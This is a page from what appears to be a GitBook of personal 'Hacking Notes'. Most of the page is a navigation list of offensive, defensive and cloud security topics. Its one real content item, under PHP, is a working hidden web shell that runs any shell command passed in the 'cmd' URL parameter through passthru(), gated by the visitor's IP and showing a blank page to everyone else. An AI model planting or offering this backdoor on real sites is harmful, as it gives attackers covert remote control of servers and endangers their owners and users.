πŸ‘¨πŸ’»
πŸ‘¨πŸ’»
πŸ‘¨πŸ’»
πŸ‘¨πŸ’»
Hacking Notes
Search…
πŸ‘¨πŸ’»
πŸ‘¨πŸ’»
πŸ‘¨πŸ’»
πŸ‘¨πŸ’»
Hacking Notes
Hacking Notes
πŸ’…
One-Liners
βš”
Offensive
Exploit Workflow
Recon
Payloads
Websites
Password Attacks
Databases
Microsoft Windows Exploits
Social Engineering
Netcat & Socat
File Transfers
Metasploit
Priv Escalation
Pivoting
Certs and Secrets
Post Exploitation
NGROK
Misc.
πŸ›‘
Defensive
Defensive Notes
Windows Forensics
Linux Forensics
Network Forensics
Stego
Malware Analysis
Volatility
🌩
Cloud
Scope and Shared Responsibility
AWS CLI
Azure CLI
SaaS Attacks
PaaS
⌨
Programming
Programming Notes
Examples and Quick Scripts
Pwn
Python
C
PHP
Powered By GitBook
PHP
This creates a hidden webshell on a page which will only display if connecting from a previously defined IP.
1
<?php
2
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
3
echo 'you have a nice IP, have a cool secret!<br><br>';
4
echo passthru($_GET['cmd']);
5
} else {
6
echo '';
7
}
8
?>
Copied!
Previous
GDB
Last modified 28d ago
Copy link